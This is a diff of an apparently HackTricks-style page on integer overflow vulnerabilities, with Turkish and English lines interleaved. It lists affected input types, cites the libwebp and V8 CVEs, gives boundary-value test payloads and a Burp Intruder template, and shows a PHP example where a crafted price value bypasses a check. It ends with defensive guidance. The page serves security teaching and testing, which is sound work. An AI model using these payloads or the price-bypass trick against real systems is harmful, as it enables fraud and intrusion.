3. **Sunucu tarafında veya istemci tarafında ayrıştırılan dosya formatı meta verileri** – resim boyutları, parça boyutları, yazı tipi tabloları.
 | 
			
		||||
4. **Dil düzeyinde dönüşümler** – PHP/Go/Rust FFI'de işaretli↔işaretsiz dönüşümler, V8 içinde JS Number → int32 kesimleri.
 | 
			
		||||
5. **Kimlik doğrulama ve iş mantığı** – sessizce taşan kupon değeri, fiyat veya bakiye hesaplamaları.
 | 
			
		||||
1. **Numeric request parameters** – klasik id, offset veya count alanları.
 | 
			
		||||
2. **Length / size headers** – Content-Length, WebSocket frame length, HTTP/2 continuation_len, vb.
 | 
			
		||||
3. **File-format metadata parsed server-side or client-side** – image dimensions, chunk sizes, font tables.
 | 
			
		||||
4. **Language-level conversions** – signed↔unsigned casts in PHP/Go/Rust FFI, JS Number → int32 truncations inside V8.
 | 
			
		||||
5. **Authentication & business logic** – coupon value, price veya balance hesaplamaları sessizce overflow olduğunda.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 2. Son zamanlardaki gerçek dünya zafiyetleri (2023-2025)
 | 
			
		||||
## 2. Recent real-world vulnerabilities (2023-2025)
 | 
			
		||||
 | 
			
		||||
| Yıl | Bileşen | Temel neden | Etki |
 | 
			
		||||
| Year | Component | Root cause | Impact |
 | 
			
		||||
|------|-----------|-----------|--------|
 | 
			
		||||
| 2023 | **libwebp – CVE-2023-4863** | Çözülmüş piksel boyutunu hesaplarken 32-bit çarpma taşması | Chrome 0-günü tetikledi (iOS'ta BLASTPASS), *uzaktan kod yürütme* izni verdi.  |
 | 
			
		||||
| 2024 | **V8 – CVE-2024-0519** | JSArray büyütülürken 32-bit'e kesilme, destekleyici depoda OOB yazmaya yol açar | Tek bir ziyaret sonrası uzaktan kod yürütme.  |
 | 
			
		||||
| 2025 | **Apollo GraphQL Server** (yayınlanmamış yamanın) | İlk/son sayfalama argümanları için kullanılan 32-bit işaretli tam sayı; negatif değerler büyük pozitiflere sarılır | Mantık atlaması ve bellek tükenmesi (DoS). |
 | 
			
		||||
| 2023 | **libwebp – CVE-2023-4863** | 32-bit multiplication overflow when computing decoded pixel size | Triggered a Chrome 0-day (BLASTPASS on iOS), allowed *remote code execution* inside the renderer sandbox.  |
 | 
			
		||||
| 2024 | **V8 – CVE-2024-0519** | Truncation to 32-bit when growing a JSArray leads to OOB write on the backing store | Remote code execution after a single visit.  |
 | 
			
		||||
| 2025 | **Apollo GraphQL Server** (unreleased patch) | 32-bit signed integer used for first/last pagination args; negative values wrap to huge positives | Logic bypass & memory exhaustion (DoS). |
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 3. Test stratejisi
 | 
			
		||||
## 3. Testing strategy
 | 
			
		||||
 | 
			
		||||
### 3.1 Sınır değeri ipucu sayfası
 | 
			
		||||
### 3.1 Boundary-value cheat-sheet
 | 
			
		||||
 | 
			
		||||
Bir tam sayı beklenirken **aşırı işaretli/işaretsiz değerler** gönderin:
 | 
			
		||||
Bir integer beklendiği her yere **extreme signed/unsigned values** gönderin:
 | 
			
		||||
```
 | 
			
		||||
-1, 0, 1,
 | 
			
		||||
127, 128, 255, 256,
 | 
			
		||||
@ -49,9 +48,9 @@ Bir tam sayı beklenirken **aşırı işaretli/işaretsiz değerler** gönderin:
 | 
			
		||||
9223372036854775807, 9223372036854775808,
 | 
			
		||||
0x7fffffff, 0x80000000, 0xffffffff
 | 
			
		||||
```
 | 
			
		||||
Diğer yararlı formatlar:
 | 
			
		||||
* Hex (0x100), sekizli (0377), bilimsel (1e10), JSON büyük-tamsayı (9999999999999999999).
 | 
			
		||||
* Özel ayrıştırıcılara ulaşmak için çok uzun rakam dizileri (>1kB).
 | 
			
		||||
Diğer faydalı formatlar:
 | 
			
		||||
* Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999).
 | 
			
		||||
* Çok uzun rakam dizileri (>1kB) — özel parsers'ı tetiklemek için.
 | 
			
		||||
 | 
			
		||||
### 3.2 Burp Intruder şablonu
 | 
			
		||||
```
 | 
			
		||||
@ -62,15 +61,15 @@ Pad to length: 10, Enable hex prefix 0x
 | 
			
		||||
```
 | 
			
		||||
### 3.3 Fuzzing kütüphaneleri ve çalışma zamanları
 | 
			
		||||
 | 
			
		||||
* **AFL++/Honggfuzz** ile parser etrafında libFuzzer harness (örn., WebP, PNG, protobuf).
 | 
			
		||||
* **Fuzzilli** – JavaScript motorlarının dil bilgisi farkındalığı ile fuzzing'i, V8/JSC tam sayı kesmelerine ulaşmak için.
 | 
			
		||||
* **boofuzz** – uzunluk alanlarına odaklanan ağ protokolü fuzzing'i (WebSocket, HTTP/2).
 | 
			
		||||
* **AFL++/Honggfuzz** — ayrıştırıcı etrafında libFuzzer harness ile (ör. WebP, PNG, protobuf).
 | 
			
		||||
* **Fuzzilli** — dilbilgisine duyarlı fuzzing ile JavaScript engine'lerini hedefleyerek V8/JSC integer truncations'ı hedefler.
 | 
			
		||||
* **boofuzz** — ağ protokolü fuzzing'i (WebSocket, HTTP/2) ile uzunluk alanlarına odaklanır.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 4. Sömürü desenleri
 | 
			
		||||
## 4. Exploitation patterns
 | 
			
		||||
 | 
			
		||||
### 4.1 Sunucu tarafı kodunda mantık atlatma (PHP örneği)
 | 
			
		||||
### 4.1 Logic bypass in server-side code (PHP example)
 | 
			
		||||
```php
 | 
			
		||||
$price = (int)$_POST['price'];          // expecting cents (0-10000)
 | 
			
		||||
$total = $price * 100;                  // ← 32-bit overflow possible
 | 
			
		||||
@ -79,28 +78,30 @@ die('Too expensive');
 | 
			
		||||
}
 | 
			
		||||
/* Sending price=21474850 → $total wraps to ‑2147483648 and check is bypassed */
 | 
			
		||||
```
 | 
			
		||||
### 4.2 Görüntü kodlayıcı aracılığıyla yığın taşması (libwebp 0-günü)
 | 
			
		||||
WebP kayıpsız kodlayıcı, 32-bit int içinde görüntü genişliğini × yüksekliğini × 4 (RGBA) ile çarpar. 16384 × 16384 boyutlarına sahip bir dosya, çarpımı taşır, kısa bir tampon ayırır ve ardından yığının ötesine **~1GB** sıkıştırılmamış veri yazar – bu da 116.0.5845.187 öncesindeki her Chromium tabanlı tarayıcıda RCE'ye yol açar.
 | 
			
		||||
### 4.2 Heap overflow via image decoder (libwebp 0-day)
 | 
			
		||||
The WebP lossless decoder multiplied image width × height × 4 (RGBA) inside a 32-bit int.  A crafted file with dimensions 16384 × 16384 overflows the multiplication, allocates a short buffer and subsequently writes **~1GB** of decompressed data past the heap – leading to RCE in every Chromium-based browser before 116.0.5845.187.
 | 
			
		||||
 | 
			
		||||
### 4.3 Tarayıcı tabanlı XSS/RCE zinciri
 | 
			
		||||
1. V8'deki **tamsayı taşması**, keyfi okuma/yazma sağlar.
 | 
			
		||||
2. İkinci bir hata ile kum havuzunu aşın veya bir yük bırakmak için yerel API'leri çağırın.
 | 
			
		||||
3. Yük, ardından köken bağlamına kötü niyetli bir betik enjekte eder → saklanan XSS.
 | 
			
		||||
### 4.3 Browser-based XSS/RCE chain
 | 
			
		||||
1. V8'deki **Integer overflow** rastgele read/write sağlar.
 | 
			
		||||
2. Sandbox'tan kaçmak için ikinci bir bug kullanın veya native APIs çağırıp bir payload bırakın.
 | 
			
		||||
3. Payload daha sonra origin bağlamına zararlı bir script enjekte eder → stored XSS.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 5. Savunma yönergeleri
 | 
			
		||||
 | 
			
		||||
1. **Geniş türler veya kontrol edilen matematik kullanın** – örneğin, size_t, Rust checked_add, Go math/bits.Add64.
 | 
			
		||||
2. **Aralıkları erken doğrulayın**: aritmetik işlemden önce iş alanının dışındaki herhangi bir değeri reddedin.
 | 
			
		||||
3. **Derleyici sanitizasyonlarını etkinleştirin**: -fsanitize=integer, UBSan, Go yarış dedektörü.
 | 
			
		||||
4. **CI/CD'de fuzzing benimseyin** – kapsama geri bildirimini sınır verileri ile birleştirin.
 | 
			
		||||
5. **Yaman kalın** – tarayıcı tamsayı taşması hataları genellikle haftalar içinde silahlandırılır.
 | 
			
		||||
1. **Use wide types or checked math** – örn., size_t, Rust checked_add, Go math/bits.Add64.
 | 
			
		||||
2. **Validate ranges early**: aritmetik işlemden önce iş alanı dışındaki herhangi bir değeri reddedin.
 | 
			
		||||
3. **Enable compiler sanitizers**: -fsanitize=integer, UBSan, Go race detector.
 | 
			
		||||
4. **Adopt fuzzing in CI/CD** – coverage feedback ile boundary corpora'yı birleştirin.
 | 
			
		||||
5. **Stay patched** – browser integer overflow hataları genellikle haftalar içinde istismar edilir.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Referanslar
 | 
			
		||||
 | 
			
		||||
* [NVD CVE-2023-4863 – libwebp Yığın Tampon Taşması](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
 | 
			
		||||
* [Google Project Zero – "V8 CVE-2024-0519'u Anlamak"](https://googleprojectzero.github.io/)
 | 
			
		||||
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
* [NVD CVE-2023-4863 – libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
 | 
			
		||||
* [Google Project Zero – "Understanding V8 CVE-2024-0519"](https://googleprojectzero.github.io/)
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user